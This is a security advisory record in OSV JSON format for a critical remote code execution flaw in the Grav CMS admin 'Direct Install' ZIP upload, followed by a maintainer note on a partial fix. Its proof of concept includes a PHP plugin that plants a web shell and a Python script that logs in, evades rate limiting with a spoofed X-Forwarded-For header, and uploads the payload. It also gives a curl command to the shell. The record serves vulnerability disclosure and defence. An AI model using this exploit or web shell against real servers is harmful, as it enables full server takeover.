{"id":"GHSA-w48r-jppp-rcfw","summary":"Grav Vulnerable to Remote Code Execution (RCE) via Malicious Plugin ZIP Upload in Direct Install Feature","details":"### Summary\nAn authenticated user with administrative privileges can achieve Remote Code Execution (RCE) by uploading a specially crafted ZIP file through the \"Direct Install\" tool. While the system attempts to block direct .php file uploads, it fails to inspect the contents of uploaded ZIP archives. Once a malicious plugin is extracted, it can execute arbitrary PHP code or drop a persistent web shell on the server.\n\n### Details\n\nThe vulnerability exists in the handling of the directInstall task within the Admin plugin and the Grav Package Manager (GPM) core.\n\n-    Vulnerable Endpoints: /admin/tools/direct-install\n-   Vulnerable Logic: AdminController.php (lines 1247-1295) and Gpm.php (lines 214-285).\n-    Root Cause: The function Installer::install() (called in Gpm.php:291) extracts the contents of the ZIP file directly into the /user/\n\nplugins/ or /user/themes/ directories without validating the file extensions or the content of the files inside the archive.\n\n### PoC\n1. Prepare the Malicious Plugin\n\nCreate a directory named shellplugin and add the following files:\n\nshellplugin.php:\n```\n\n\u003c?php\nnamespace Grav\\Plugin;\nuse Grav\\Common\\Plugin;\n\nclass ShellpluginPlugin extends Plugin {\n    public static function getSubscribedEvents(): array {\n        return ['onPluginsInitialized' =\u003e ['onPluginsInitialized', 0]];\n    }\n    public function onPluginsInitialized(): void {\n        $shell_path = GRAV_ROOT . '/shell.php';\n        if (!file_exists($shell_path)) {\n            file_put_contents($shell_path, '\u003c?php system($_GET[\"cmd\"]); ?\u003e');\n        }\n    }\n}\n\n```\n(Also include a basic blueprints.yaml and shellplugin.yaml as per Grav standards).\n\n2. Create the ZIP Archive\n```\n`zip -r /tmp/shellplugin.zip shellplugin/`\n\n3. Execute the Exploit Script\nRun the following Python script to automate the login, nonce retrieval, and malicious upload process:\n\n`import requests, re, json\n\n\ns = requests.Session()\nBASE_URL = 'http://127.0.0.1'\n```\n\n#### 1. Login and Bypass Rate Limit via X-Forwarded-For\n```\nr = s.get(f'{BASE_URL}/admin')\nnonce = re.search(r'name=\"login-nonce\" value=\"([^\"]+)\"', r.text).group(1)\n\nr2 = s.post(f'{BASE_URL}/admin',\n    headers={'X-Forwarded-For': '10.0.0.3'},\n    data={'data[username]': 'admin', 'data[password]': 'admin_password_here', 'task': 'login', 'login-nonce': nonce},\n    allow_redirects=False)\n\nredirect = json.loads(r2.text)['redirect']\ns.get(redirect)\nprint(f\"[+] Logged in successfully.\")\n\n```\n####  2. Extract Admin Nonce from Tools Page\n```\ntools = s.get(f'{BASE_URL}/admin/tools/direct-install')\nadmin_nonce = re.search(r'admin-nonce.*?value=\"([a-f0-9]{32})\"', tools.text).group(1)\nprint(f\"[+] Retrieved Admin Nonce: {admin_nonce}\")\n```\n\n####  3. Upload and Execute\n```\nwith open('/tmp/shellplugin.zip', 'rb') as f:\n    zip_data = f.read()\n\nresp = s.post(f'{BASE_URL}/admin/tools/direct-install',\n    data={'task': 'directInstall', 'admin-nonce': admin_nonce},\n    files={'uploaded_file': ('shellplugin.zip', zip_data, 'application/zip')},\n    headers={'X-Forwarded-For': '10.0.0.3'}\n)\n\nif \"installation\" in resp.text.lower():\n    print(\"[+] Plugin installed successfully!\")\n    # Trigger the shell\n    s.get(BASE_URL) \n    print(f\"[+] RCE Check: {BASE_URL}/shell.php?cmd=id\")`\n```\n    \n####  4. Verification\nAccess the dropped shell to confirm command execution:\n`curl -s \"http://127.0.0.1/shell.php?cmd=whoami\"`\n\n\u003cimg width=\"2547\" height=\"756\" alt=\"resim (2)\" src=\"https://github.com/user-attachments/assets/6a8c25f1-9a9d-469f-ab68-3c7007e446d4\" /\u003e\n\n\u003cimg width=\"898\" height=\"89\" alt=\"resim (3)\" src=\"https://github.com/user-attachments/assets/ec097785-1196-47a4-b24e-82fcbf0f7520\" /\u003e\n\n\n### Impact\n\n- Vulnerability Type: Remote Code Execution (RCE) / Path Traversal (via extraction).\n- Who is impacted: Any Grav installation where the Admin plugin is enabled and an attacker has gained administrative access (or an administrator is tricked into uploading a malicious ZIP).\n- Severity: Critical. Although it requires admin privileges, the ability to gain full server control (system-level access) makes this a high-impact finding, especially in multi-user environments or via CSRF/Session hijacking.\n\n## Maintainer note — partial fix applied (2026-04-24)\n\nFixed in Grav core on the `2.0` branch: commit [`5a12f9be8`](https://github.com/getgrav/grav/commit/5a12f9be8) — ships in **2.0.0-beta.2**.\n\n**What changed (path layer):** `Installer::unZip` now pre-validates every entry name before calling `ZipArchive::extractTo`, and aborts the install if any entry looks like a Zip Slip primitive — `..` path segments, absolute paths (Unix `/…` or Windows `C:\\…`/`\\…`), or NUL bytes. A crafted ZIP can no longer write files outside the target `user/plugins/\u003cslug\u003e` or `user/themes/\u003cslug\u003e` directory.\n\n**Explicit scope limitation:** the \"well-formed but malicious plugin code\" angle of the PoC — uploading a plugin whose own PHP is the payload — is **not** addressed by this change. `directInstall` is an administrator-only operation whose explicit purpose is to install arbitrary PHP; defending against it would require a plugin-signing or marketplace-allowlist feature, which is a separate roadmap item. Administrators should only install plugins from trusted sources. This is now explicitly documented in the commit note.\n\n**Files:**\n- [`system/src/Grav/Common/GPM/Installer.php`](https://github.com/getgrav/grav/blob/2.0/system/src/Grav/Common/GPM/Installer.php) — new `isSafeArchiveEntry()` helper + pre-extract validation loop.\n- [`tests/unit/Grav/Common/Security/ZipSlipSecurityTest.php`](https://github.com/getgrav/grav/blob/2.0/tests/unit/Grav/Common/Security/ZipSlipSecurityTest.php) — 21 cases covering Unix/Windows/URL-encoded traversal primitives and legitimate plugin names.\n\n---\n\n### Acknowledgements\nThe issue was identified by Security Researcher **Mustafa Murat Akgül**.\n\n\n---","aliases":["CVE-2026-42607"],"modified":"2026-09-10T03:51:07.167284195Z","published":"2026-05-05T21:21:10Z","related":["CVE-2026-42613"],"database_specific":{"cwe_ids":["CWE-94"],"severity":"CRITICAL","github_reviewed":true,"github_reviewed_at":"2026-05-05T21:21:10Z","nvd_published_at":"2026-05-11T16:17:32Z"},"references":[{"type":"WEB","url":"https://github.com/getgrav/grav/security/advisories/GHSA-w48r-jppp-rcfw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42607"},{"type":"WEB","url":"https://github.com/getgrav/grav/commit/5a12f9be8314682c8713e569e330f11805d0a663"},{"type":"PACKAGE","url":"https://github.com/getgrav/grav"}],"affected":[{"package":{"name":"getgrav/grav","ecosystem":"Packagist","purl":"pkg:composer/getgrav/grav"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.0-beta.2"}]}],"versions":["0.8.0","0.9.0","0.9.1","0.9.10","0.9.11","0.9.12","0.9.13","0.9.14","0.9.15","0.9.16","0.9.17","0.9.18","0.9.19","0.9.2","0.9.20","0.9.21","0.9.22","0.9.23","0.9.24","0.9.25","0.9.26","0.9.27","0.9.28","0.9.29","0.9.3","0.9.30","0.9.31","0.9.32","0.9.33","0.9.34","0.9.35","0.9.36","0.9.37","0.9.38","0.9.39","0.9.4","0.9.40","0.9.41","0.9.42","0.9.43","0.9.44","0.9.45","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","1.0.0","1.0.0-rc.1","1.0.0-rc.2","1.0.0-rc.3","1.0.0-rc.4","1.0.0-rc.5","1.0.0-rc.6","1.0.1","1.0.10","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.0.8","1.0.9","1.1.0","1.1.0-beta.1","1.1.0-beta.2","1.1.0-beta.3","1.1.0-beta.4","1.1.0-beta.5","1.1.0-rc.1","1.1.0-rc.2","1.1.0-rc.3","1.1.1","1.1.10","1.1.11","1.1.12","1.1.13","1.1.14","1.1.15","1.1.16","1.1.17","1.1.2","1.1.3","1.1.4","1.1.5","1.1.6","1.1.7","1.1.8","1.1.9","1.1.9-rc.1","1.1.9-rc.2","1.1.9-rc.3","1.2.0","1.2.0-rc.1","1.2.0-rc.2","1.2.0-rc.3","1.2.1","1.2.2","1.2.3","1.2.4","1.3.0","1.3.0-rc.1","1.3.0-rc.2","1.3.0-rc.3","1.3.0-rc.4","1.3.0-rc.5","1.3.1","1.3.10","1.3.2","1.3.3","1.3.4","1.3.5","1.3.6","1.3.7","1.3.8","1.3.9","1.4.0","1.4.0-beta.1","1.4.0-beta.2","1.4.0-beta.3","1.4.0-rc.1","1.4.0-rc.2","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.5.0","1.5.0-beta.1","1.5.0-beta.2","1.5.0-rc.1","1.5.1","1.5.10","1.5.2","1.5.3","1.5.4","1.5.5","1.5.6","1.5.7","1.5.8","1.5.9","1.6.0","1.6.0-beta.1","1.6.0-beta.2","1.6.0-beta.3","1.6.0-beta.4","1.6.0-beta.5","1.6.0-beta.6","1.6.0-beta.7","1.6.0-beta.8","1.6.0-rc.1","1.6.0-rc.2","1.6.0-rc.3","1.6.0-rc.4","1.6.1","1.6.10","1.6.11","1.6.12","1.6.13","1.6.14","1.6.15","1.6.16","1.6.17","1.6.18","1.6.19","1.6.2","1.6.20","1.6.21","1.6.22","1.6.23","1.6.24","1.6.25","1.6.26","1.6.27","1.6.28","1.6.29","1.6.3","1.6.30","1.6.31","1.6.4","1.6.5","1.6.6","1.6.7","1.6.8","1.6.9","1.7.0","1.7.0-beta.1","1.7.0-beta.10","1.7.0-beta.2","1.7.0-beta.3","1.7.0-beta.4","1.7.0-beta.5","1.7.0-beta.6","1.7.0-beta.7","1.7.0-beta.8","1.7.0-beta.9","1.7.0-rc.1","1.7.0-rc.10","1.7.0-rc.11","1.7.0-rc.12","1.7.0-rc.13","1.7.0-rc.14","1.7.0-rc.15","1.7.0-rc.16","1.7.0-rc.17","1.7.0-rc.18","1.7.0-rc.19","1.7.0-rc.2","1.7.0-rc.20","1.7.0-rc.3","1.7.0-rc.4","1.7.0-rc.5","1.7.0-rc.6","1.7.0-rc.7","1.7.0-rc.8","1.7.0-rc.9","1.7.1","1.7.10","1.7.12","1.7.13","1.7.14","1.7.15","1.7.16","1.7.17","1.7.18","1.7.19","1.7.20","1.7.21","1.7.22","1.7.23","1.7.24","1.7.25","1.7.26","1.7.26.1","1.7.27","1.7.27.1","1.7.28","1.7.29","1.7.29.1","1.7.3","1.7.30","1.7.31","1.7.32","1.7.33","1.7.34","1.7.35","1.7.36","1.7.37","1.7.37.1","1.7.38","1.7.39","1.7.39.1","1.7.39.2","1.7.39.3","1.7.39.4","1.7.4","1.7.40","1.7.41","1.7.41.1","1.7.41.2","1.7.42","1.7.42.1","1.7.42.2","1.7.42.3","1.7.43","1.7.44","1.7.45","1.7.46","1.7.47","1.7.48","1.7.49","1.7.49.1","1.7.49.2","1.7.49.3","1.7.49.4","1.7.49.5","1.7.5","1.7.51","1.7.52","1.7.53","1.7.53.1","1.7.53.2","1.7.53.3","1.7.6","1.7.7","1.7.8","1.7.9","1.8.0-beta.1","1.8.0-beta.10","1.8.0-beta.11","1.8.0-beta.12","1.8.0-beta.13","1.8.0-beta.14","1.8.0-beta.15","1.8.0-beta.16","1.8.0-beta.17","1.8.0-beta.18","1.8.0-beta.19","1.8.0-beta.2","1.8.0-beta.20","1.8.0-beta.21","1.8.0-beta.22","1.8.0-beta.23","1.8.0-beta.24","1.8.0-beta.25","1.8.0-beta.26","1.8.0-beta.27","1.8.0-beta.28","1.8.0-beta.29","1.8.0-beta.3","1.8.0-beta.4","1.8.0-beta.5","1.8.0-beta.6","1.8.0-beta.7","1.8.0-beta.8","1.8.0-beta.9","2.0.0-beta.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-w48r-jppp-rcfw/GHSA-w48r-jppp-rcfw.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H"}]}